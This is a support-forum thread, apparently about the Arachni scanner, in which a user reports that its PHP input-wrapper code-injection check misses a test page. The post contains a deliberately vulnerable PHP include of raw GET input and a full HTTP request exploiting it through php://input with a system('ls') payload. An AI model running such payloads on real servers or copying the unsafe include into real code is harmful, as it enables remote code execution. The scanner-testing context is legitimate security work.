[Check] code injection php input wrapper does not work properly ?
Hello Tasos,
I try do raise the "code injection php input wrapper" check but Arachni scan do not raise anything.
Here the sample code (PHP) :
<html>
<head>
<title>Code injection (php input wrapper)</title>
</head>
<body>
<h1>Code injection (php input wrapper)</h1>
<form action="" method="get">
<p>
<label for="untrusted_input">Input :</label>
<input type="text" id="untrusted_input" name="untrusted_input"/>
<input type="submit" value="Submit"/>
</p>
</form>
<?php
if(isset($_GET['untrusted_input'])) {
include($_GET['untrusted_input']);
}
?>
</body>
</html>
The vulnerability can be expoited with few modification (modifications are GET -> POST, get untrusted param -> php wrapper and add a POST payload) :
POST /code_injection/code_injection_php_input_wrapper.php?untrusted_input=php://input HTTP/1.1
Host: 192.168.56.181
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.181/code_injection/code_injection_php_input_wrapper.php?untrusted_input=sdf
Connection: close
Upgrade-Insecure-Requests: 1
untrusted_input=<?php system("ls"); ?>
I looked in code_injection_php_input_wrapper.rb source code and I noticed the specific payload "vDBVBsbVdv PLL!8o7". But when I analyse my Apache log files none such data are post. (only php://inpu are tested without payload).
Do you have any idea why Arachni does not raise an alert ?
Best regards,
Keyboard shortcuts
Generic
| ? | Show this help |
|---|---|
| ESC | Blurs the current field |
Comment Form
| r | Focus the comment reply box |
|---|---|
| ^ + ↩ | Submit the comment |
You can use Command ⌘ instead of Control ^ on Mac
Support Staff 1 Posted by Tasos Laskos on 19 Dec, 2017 04:33 PM
Hello,
Sorry, I don't, I'll run some tests and get back to you.
Cheers
PS. Sorry for the excessively late reply, I've been working on something.